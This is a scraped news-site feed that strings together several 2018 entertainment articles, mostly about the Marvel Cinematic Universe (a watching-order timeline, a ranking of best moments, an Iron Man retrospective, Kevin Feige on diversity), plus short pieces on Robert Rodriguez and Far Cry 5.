]]> https://briefnews.eu/superhero-bits-lois-lane-is-coming-to-the-arrowverse-venom-cinematic-influences-more/feed/ 0 Marvel Movies timeline: Marvel Cinematic Universe movie timeline and watching order https://briefnews.eu/marvel-movies-timeline-marvel-cinematic-universe-movie-timeline-and-watching-order/ https://briefnews.eu/marvel-movies-timeline-marvel-cinematic-universe-movie-timeline-and-watching-order/#respond Thu, 23 Aug 2018 12:58:12 +0000 http://briefnews.eu/marvel-movies-timeline-marvel-cinematic-universe-movie-timeline-and-watching-order/

Marvel is unlike its competitor, Star Wars, in a variety of ways.

But one major difference is the chronology of the movies – where Star Wars’ chronology has jumped backwards and forward, Marvel has been fairly straightforward.

Marvel has released a slew of films since 2008’s Iron Man, which introduced Tony Stark as the face of the Marvel Cinematic Universe.

From there, the movies have flowed almost wholly chronologically – their release dates coinciding with their watching order with only a couple of exceptions.

Related articles

Phase One introduced us to Tony Stark, the entrepreneur wealthy bad-boy who was thrust into the role of superhero.

Here, Marvel also brought us our first-time jump – with Captain America: The First Avengers taking place in the 40s during World War II.

However, the 2011 Chris Evans movie should still be viewed fifth in this list for story continuity (much like one would watch the original Star Wars trilogy before the prequels for the full storytelling impact).

Iron Man (2008)

The Incredible Hulk (2008)

Iron Man 2 (2010)

Thor (2011)

Captain America: The First Avenger (2011)

Marvel’s The Avengers (2012)

AVENGERS: WILL THERE BE ALL FEMALE AVENGERS STARRING EVANGELINE LILY?

Marvel Movie timeline

Marvel Movie timeline: Here are the movies in order (Image: Marvel)

Phase Two of the MCU brought a darker mood to the superheroes, with the introduction of Ant-Man and Guardians of the Galaxy to the Avengers fold.

Iron Man 3 (2013)

Thor: The Dark World (2013)

Captain America: The Winter Soldier (2014)

Guardians of the Galaxy (2014)

Avengers: Age of Ultron (2015)

Ant-Man (2015)

Related articles

With Phase Three, fans were introduced to Doctor Strange (Benedict Cumberbatch) but more importantly, Black Panther.

Black Panther helped breathe new enthusiasm into the Marvel franchise, with its stellar characters and outstanding performances.

Phase Three is still ongoing, with two more movies for release in 2019.

Captain Marvel comes first, another instance where the chronology doesn’t fit with the release date.

Captain Marvel will be set in the 1990s, featuring some familiar faces.

CAPTAIN MARVEL THEORY: WHERE WAS SHE DURING INFINITY WAR?

Avengers

Avengers: The heroes culminate to make group movies featuring all the heroes (Image: Marvel)

The as of yet untitled Avengers 4 will be the final chapter in Phase Three.

Captain America: Civil War (2016)

Doctor Strange (2016)

Guardians of the Galaxy Vol. 2 (2017)

Spider-Man: Homecoming (2017)

Thor: Ragnarok (2017)

Black Panther (2018)

Avengers: Infinity War (2018)

Ant-Man and the Wasp (2018)

Captain Marvel (2019)

Untitled Avengers Film (2019)

AVENGERS 4: WILL THE FALLEN AVENGERS BE RESURRECTED BY THIS THEORY?

Marvel

Marvel: The superhero powerhouse has been making movies since 2008 (Image: Marvel)

Phase Four:

The fourth phase of the Marvel Cinematic Universe will be championed by Captain Marvel, taking the baton from Iron Man.

Spider-Man: Far From Home is already filming with a release date of July 5, 2019.

The controversial Guardians of the Galaxy Vol. 3 should be out for release in 2020, presuming Disney can find a replacement for auteur James Gunn.

Ant-Man and the Wasp is now playing in cinemas.

Let’s block ads! (Why?)

]]> https://briefnews.eu/marvel-movies-timeline-marvel-cinematic-universe-movie-timeline-and-watching-order/feed/ 0 kingsjaime:The First 10 Years of the Marvel Cinematic Universe https://briefnews.eu/kingsjaimethe-first-10-years-of-the-marvel-cinematic-universe/ https://briefnews.eu/kingsjaimethe-first-10-years-of-the-marvel-cinematic-universe/#respond Mon, 07 May 2018 21:21:31 +0000 http://briefnews.eu/kingsjaimethe-first-10-years-of-the-marvel-cinematic-universe/

kingsjaime:

The First 10 Years of the Marvel Cinematic Universe

]]> https://briefnews.eu/kingsjaimethe-first-10-years-of-the-marvel-cinematic-universe/feed/ 0 Some Kind of Robert Rodriguez Cinematic Universe Project is in the Works https://briefnews.eu/some-kind-of-robert-rodriguez-cinematic-universe-project-is-in-the-works/ https://briefnews.eu/some-kind-of-robert-rodriguez-cinematic-universe-project-is-in-the-works/#respond Thu, 26 Apr 2018 22:57:27 +0000 http://briefnews.eu/some-kind-of-robert-rodriguez-cinematic-universe-project-is-in-the-works/ Robert Rodriguez Cinematic Universe

Though the Marvel Cinematic Universe is the first film franchise to take multiple film series and bridge them together on such a large scale, it’s not the first time movies have shared the same universe on the big screen outside of traditional sequels.

Universal’s classic monster movies all existed in the same world, Kevin Smith built his View Askewniverse that was connected by shared characters such as Jay & Silent Bob, Quentin Taranito’s movies all have little connections to each other, and they even shared some connections with the interconnected films of Grindhouse co-director Robert Rodriguez. Now one of them will be creating a new project set in their cinematic universe.

For those who don’t know, most of the films of Robert Rodriguez all take place in the same world. El Mariachi, Desperado, Once Upon a Time in Mexico, Machete, Machete Kills, From Dusk Til Dawn, Planet Terror, and the Spy Kids all exist in the same universe. And it sounds like Rodriguez is working on something that brings them all together in a more direct way.

Speaking with CinemaBlend, Robert Rodriguez was asked if he might make a film akin to Avengers: Infinity War with the characters from his own connected films:

“I have [thought about that] very many times for different mediums. Yeah, for sure. You may see something soon! I’ve definitely been aware of the connections all the characters could have in that world, in their own range of kind of larger than life superheroes. I definitely have been looking at it in the comic world. There was a comic company that wanted to do something with me, and I suggested that very thing, and they love that idea.”

A comic book doesn’t sound anywhere near as ambitious as what Avengers: Infinity War has accomplished, but that’s the exception to the rule rather than the rule itself. But it’s also a lot cheaper, which makes sense since there probably isn’t enough demand among audiences to see characters from some of these cult favorites come together. However, it sounds like a comic book isn’t the only medium Rodriguez is considering:

“Sometimes there’s just not enough hours in the day for all the fun stuff to do! But there’s definitely another medium that might even be better than that. So we’ll definitely keep in touch about that, because that’s really a cool idea, and it’s also a lot of fun how these things can cross pollinate.”

Could Rodriguez maybe be trying to get a series off the ground for his El Rey Network? Or is there a chance Netflix might be willing to throw some money at a project like this to pick up the niche audience who loves Rodriguez’s films? It’s hard to tell at this point, but the idea is certainly alive for the time being. The question is whether any of the connections to Quentin Tarantino’s films will be prominent in the project. We’ll have to wait and see when/if it comes together.

The post Some Kind of Robert Rodriguez Cinematic Universe Project is in the Works appeared first on /Film.

]]> https://briefnews.eu/some-kind-of-robert-rodriguez-cinematic-universe-project-is-in-the-works/feed/ 0 The 16 best moments in Marvel Cinematic Universe history, ranked https://briefnews.eu/the-16-best-moments-in-marvel-cinematic-universe-history-ranked/ https://briefnews.eu/the-16-best-moments-in-marvel-cinematic-universe-history-ranked/#respond Wed, 25 Apr 2018 13:38:11 +0000 http://briefnews.eu/the-16-best-moments-in-marvel-cinematic-universe-history-ranked/ avengersMarvel Studios

  • The Marvel Cinematic Universe has lasted 10 years and 18 movies, and shows no signs of slowing down. 
  • In anticipation for “Avengers: Infinity War,” we’ve looked back at its best moments and ranked them. 

Marvel’s “Avengers: Infinity War” is the culmination of 10 years and 18 movies of buildup. This weekend, the Avengers and Guardians of the Galaxy finally take on Thanos.

In anticipation for the film, we’ve looked back on the Marvel Cinematic Universe’s best moments. Marvel Studios has given audiences a bevy of memorable ones for casual moviegoers and super-fans alike. 

From Tony Stark’s first armored suit that started it all, to most recently “Black Panther’s” emphasis on a strong supporting cast of fearless women, the MCU has managed to both portray the best parts of the comic books, and please audiences of all kinds.

Below are 16 of the best moments leading up to “Infinity War,” ranked. (Major spoiler warning if you haven’t seen these films): 

16. Star-Lord vs. Ego (“Guardians of the Galaxy Vol. 2”)

Marvel Studios

“Guardians of the Galaxy Vol. 2” attempts to be more emotional than its predecessor. Some of it doesn’t work, but when it does, it works really well. For instance, when Star-Lord’s father, the evil cosmic being named Ego, reveals that he gave his mother the tumor that killed her, Star-Lord realizes his long-lost dad isn’t who he thought he was. The ensuing battle is a blast of action and even some Pac-Man, and that earlier revelation gives it an extra emotional weight. 

15. Odin exiles Thor (“Thor”)

Marvel Studios

The first “Thor” is not that great, but it somehow managed to lure Anthony Hopkins to play Thor’s father, Odin. Thank the gods, because this scene is lifted by his presence. When Thor royally messes up a truce between the people of Thor’s homeworld Asgard and the Frost Giants, Odin banishes Thor to Earth until he is worthy enough to wield the hammer Mjolner once again. It’s such an effective scene because of Hopkins’ performance. 

14. The raceway fight (“Iron Man 2”)

Marvel / Paramount

“Iron Man 2” is one of the worst films in the Marvel Cinematic Universe, but one scene in particular stands out for being an impressive, effects-driven action sequence. Mickey Rourke is unfortunately underutilized as the villain Whiplash in the movie, but he makes a worthy grand entrance during a fight scene on the Monaco Raceway. 


See the rest of the story at Business Insider

See Also:

SEE ALSO: ‘Avengers: Infinity War’ is worth the 10-year wait and will rip your heart out

]]> https://briefnews.eu/the-16-best-moments-in-marvel-cinematic-universe-history-ranked/feed/ 0 How ‘Iron Man’ Built the Foundation of the Marvel Cinematic Universe https://briefnews.eu/how-iron-man-built-the-foundation-of-the-marvel-cinematic-universe/ https://briefnews.eu/how-iron-man-built-the-foundation-of-the-marvel-cinematic-universe/#respond Mon, 02 Apr 2018 17:08:04 +0000 http://briefnews.eu/how-iron-man-built-the-foundation-of-the-marvel-cinematic-universe/

(Welcome to Road to Infinity War, a new series where we revisit the first 18 movies of the Marvel Cinematic Universe and ask “How did we get here?” First up: Iron Man, and how Marvel turned a series of flaws into profound strengths.)

The Marvel machine went into production without a completed script. A few years prior to Disney purchasing the House of Ideas, director Jon Favreau and then newly named President of Production Kevin Feige began laying track in front of train on Marvel’s first in-house feature – or as co-star Jeff Bridges described it, a “$ 200 million student film.” Unlike any other movie at the time, Iron Man also had to open up a whole new world of characters yet unseen, scribbling just outside its own margins in order to make good on Feige’s promise of an entire Avengers universe at Comic Con 2006.

How did it go? Well, the year is 2018, and we’re waiting (im)patiently for Iron Man to charge into cosmic battle alongside the Avengers, the Guardians of the Galaxy, Spider-Man, Doctor Strange, and all of Wakanda in a few weeks’ time. Not only have the aforementioned characters become mainstays of global popular culture, the Marvel Cinematic Universe has also long since become the highest grossing film franchise in human history. Quite a return on investment for a student film.

A Stark Difference 

Marvel wouldn’t be where it is without Iron Man, a character who shattered the cookie-cutter superhero mythology by revealing himself to the world out of pure ego, but it certainly wouldn’t have gotten here without Robert Downey Jr.’s Iron Man specifically. The character felt like a dare to begin with, with Stan Lee creating something of an antithesis to the youth movements of 1968, turning a capitalist, industrialist, and weapons manufacturer into a likeable fixture of Marvel Comics. 40 years later, Tony Stark’s first film appearance would come into being thanks to a similar creative stubbornness, as Jon Favreau fought all opposition in order to get Downey Jr. into the CGI-augmented red & gold.

An actor whose own past addictions would no doubt prepare him for the role in the long run – though the character’s trademark alcoholism would be swapped out for a PTSD-induced addiction to cocooning himself in titanium come Iron Man 3 – what made Robert Downey Jr. the perfect Patient Zero for Marvel’s experiment was his unique ability as a storyteller. Not only was much of his dialogue improvised on set (the lack of a solid script allowed him to step further into Stark’s expensive shoes), but Downey Jr. was forged into the MCU’s early secret weapon, bringing to the action genre an oft-overlooked talent: the ability to turn even rote exposition into development of character – be it with a look, a smirk, or the disguising of insecurity under layers of sardonic quips.

Right from the opening scene, as Stark rides alongside American soldiers in their Humvee in Afghanistan, his aura simultaneously attracts and alienates. He has the shine of a billionaire playboy and a detached allure that arrived just in time for the social media boom – the age of irony, as it were – but his humour is to-the-point despite the emptiness it masks. From the get-go, long before he builds his rudimentary Mark I suit, his first layer of armour is exactly the person he projects himself to be. The epitome of untouchable, yet commanding a gravity that attracts everyone in its oribit.

It’s fitting then, that this introduction to a superhero so out of the ordinary is soon followed by a seemingly real-world attack and circumstance that cuts him down to size. The unit protecting him is bombed. He is kidnapped by militants. And he becomes a victim of weapons that bear his own name, although his key change as a character comes about as a similarly kidnapped small-town scientist from the Middle East uses technology in a way Stark had seldom considered. He builds something new to save Tony Stark’s life.

Fantasy Hero, Political Reality 

2008 was a landmark year for politics in superhero movies. While The Dark Knight, a film that at the time seemed like it would have a more long-lasting impact, wrestled with abstract questions of the borders of responsibility in the face of national security, Iron Man had far more direct questions on its mind. Shifting the setting of the character’s origin from ’60s Vietnam to modern Afghanistan allowed for literal articulations of modern American military industrial complex to arrive front-and-center, as embodied not by the film’s villain, but its hero.

The reason Stark visits the Middle East is to sell deadly weapons to the U.S. military, weapons he openly compares to the Manhattan project his father worked on decades earlier. Charming as he may be, his outlook is detestable, and he’s forced to face up to it (to some degree) once he’s kidnapped and he sees where all his missiles are actually being shipped. “Peace means having a bigger stick than the other guy,” he tells a reporter, who rightly responds: “That’s a great line, coming from the guy selling the sticks.”

Iron Man is, at its core, a tale of an American war profiteer having a change of heart – represented by the arc reactor in his chest, a glowing promise of untold possibility. It’s a potent idea, focusing on a character who sees his weapons fall into the wrong hands and takes action accordingly, contending with his own legacy by shutting down the weapons’ division of Stark Industries, but therein lies the central problem of Tony Stark. While he works to get his weapons out of said wrong hands, be it the hands of the Ten Rings organization or the hands of Jeff Bridges’ Obadiah Stane, the man behind the curtain (to say nothing of the hands of the US military, to whom Stark was more than happy to sell thus far), there’s nothing clearly delineating whose hands are the right ones. To Tony Stark, the egocentric futurist, the right hands remain his own.

Continue Reading Iron Man Revisited >>

The post How ‘Iron Man’ Built the Foundation of the Marvel Cinematic Universe appeared first on /Film.

]]> https://briefnews.eu/how-iron-man-built-the-foundation-of-the-marvel-cinematic-universe/feed/ 0 Far Cry 5’s intro is cinematic and fast-paced https://briefnews.eu/far-cry-5s-intro-is-cinematic-and-fast-paced/ https://briefnews.eu/far-cry-5s-intro-is-cinematic-and-fast-paced/#respond Sun, 25 Mar 2018 08:40:08 +0000 http://briefnews.eu/far-cry-5s-intro-is-cinematic-and-fast-paced/

I’m playing through Far Cry 5 right now, and I’ll have a review up soon. I went into the game with some doubts, but that skepticism had nothing to do with Ubisoft’s capability to create a cinematic and compelling open-world. And it turns out I was right not to worry about that aspect of the game. I’ve captured the first 50 m…Read More

]]> https://briefnews.eu/far-cry-5s-intro-is-cinematic-and-fast-paced/feed/ 0 The Future of the Marvel Cinematic Universe is Diversity and Representation, Says Kevin Feige https://briefnews.eu/the-future-of-the-marvel-cinematic-universe-is-diversity-and-representation-says-kevin-feige/ https://briefnews.eu/the-future-of-the-marvel-cinematic-universe-is-diversity-and-representation-says-kevin-feige/#respond Fri, 09 Mar 2018 21:10:10 +0000 http://briefnews.eu/the-future-of-the-marvel-cinematic-universe-is-diversity-and-representation-says-kevin-feige/ Marvel Diversity - Black Panther

One of the biggest reasons that Black Panther has been such a success at the box office (creeping up on $ 1 billion worldwide) is that it puts forth a cast of characters who aren’t usually seen headlining Hollywood blockbusters. For decades, studios have turned away from movies that didn’t have a white male lead because they believed that they weren’t as big of a box office draw. But with movies like Black Panther, audiences are starting to prove them wrong, and Marvel Studios intends to keep giving them what they want.

Kevin Feige recently talked about the future of the Marvel Cinematic Universe, albeit vaguely. While he wouldn’t give any specific hints as to what characters we might see come to the big screen or what direction current franchises might take, he did say that they would continue to bring diversity and representation to the comic book movie scene.

The Future of Marvel Studios

Kevin Feige recently spoke with Entertainment Weekly about what Marvel has panned after Avengers 4, the culmination of these first 10 years of the Marvel Cinematic Universe. Kevin Feige isn’t prepared to show his cards just yet, but he does say there are a lot of characters and movies they have on their prospective wishlist for the future:

“Well, there are lots. There are lots. It’s a testament to the 8,000-plus characters in Marvel Comics. We still haven’t made or developed every character we saw when we flipped through a comic and went, “This would be cool. This would be a good story.” We’re not ready to talk about what those are, but like the ones we’ve made in the first three phases, they’re ones that are either just great concepts for a film, great characters with great supporting characters, like Panther.”

Marvel Diversity and Representation Isn’t Going Anywhere

If you liked Black Panther, then you’re going to be very happy about the direction Marvel Studios is taking in the future. That movie showcased the rich culture and world of Wakanda and future Marvel movies are going to introduce new settings and characters that are just as significant. Feige explains:

“New locations and lands that have cultural significance all their own, and continuing to tell stories that represent the world as it is, that represent people who perhaps haven’t seen themselves portrayed in this light in the past. We want to continue to do that.”

That initiative won’t only be with characters and settings in front of the camera, but behind the scenes as well:

“I think we’re seeing it shift from a very purposeful initiative to just a fact of life, to just a way of doing business. Then there are people we hired that we’re not ready to announce in all different capacities, particularly behind the camera. As Panther has so loudly declared, [representation] can only help you, can only help you tell unique stories, can only help you do things in a new, and unique, and fresh, and exciting way. If you do that, audiences will notice it, and appreciate it, and support it.”

We couldn’t have said it better. And we’re excited to see how Marvel starts to include more diverse talents in front of and behind the camera. Hopefully, they’ll do a better job hiring diverse talents behind the camera than Lucasfilm has done recently.

The post The Future of the Marvel Cinematic Universe is Diversity and Representation, Says Kevin Feige appeared first on /Film.

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